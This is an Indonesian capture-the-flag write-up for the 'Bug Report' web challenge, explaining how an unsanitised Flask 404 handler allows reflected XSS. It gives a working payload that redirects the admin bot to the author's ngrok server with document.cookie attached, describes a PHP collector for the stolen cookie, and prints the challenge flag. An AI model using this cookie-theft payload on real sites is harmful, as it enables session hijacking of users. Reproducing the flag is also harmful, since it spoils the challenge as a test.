[Cyber Apocalypse CTF 2021] – Bug Report

Diberikan sebuah source code dari web dalam bahasa python. Jika kita lihat app.py, disitu kita dapat menginput url, dan url akan dipass sebagai parameter dalam function visit_report()

Lalu saya coba akses file kedua, yaitu bot.py. Disitu awalnya selenium akan melakukan GET request ke 127.0.0.1:1337, dan set cookie disana dengan key flag dan valuenya flag yang perlu didapatkan. Setelah itu, dia akan melakukan GET request ke inputan kita.

Oleh karena itu, bagaimanapun caranya, kita harus melakukan GET request ke localhost:1337 di sisi server soal terlebih dahulu, lalu kirim cookienya ke kita. Jika kita lihat kembali code app.py, disitu terdapat errorhandler(404), dimana jika URL not found, disitu request.url akan diparse ke tag <h1>.

Melalui error handler diatas, kita bisa melakukan eksploitasi terhadap kerentanan XSS, dikarenakan request.url tidak disanitasi. Saya coba gunakan payload yang paling sering digunakan untuk eksploitasi XSS, yaitu <script>alert(1)</script> dan akses http://165.227.232.115:30820/<script>alert(1)</script>. Disitu muncul pop up XSS.

Untuk mengambil cookie dari user, kita tidak bisa langsung memasukkan payload <script>alert(document.cookie)</script> dikarenakan alert tersebut akan memunculkan cookie milik kita, bukan cookie milik user yang ingin diexploit. Oleh karena itu, kita perlu host sebuah server, lalu redirect user ke server tersebut dan ambil cookienya dengan memasukkan document.cookie pada sebuah parameter. Saya host file php sederhana yang akan mengambil value dari parameter c pada GET request, dan valuenya akan disimpan di file bernama flag.txt.

Host file php nya dengan ngrok

Masukkan input http://127.0.0.1:1337/<script>document.location=’http://77b9b9d27732.ngrok.io?c=’+document.cookie</script> dan tunggu beberapa saat. Payload XSS diatas akan redirect user ke server ngrok saya, dan disitu saya tambahkan parameter c dengan valuenya document.cookie, yang berarti kita bisa mengambil cookie user dengan mengambil value dari $_GET[‘c’] pada PHP. Setelah itu ketika user redirected ke server ngrok saya, saya berhasil mendapatkan flagnya.

Flag : CHTB{th1s_1s_my_bug_r3p0rt}

Leave a Reply

Your email address will not be published. Required fields are marked *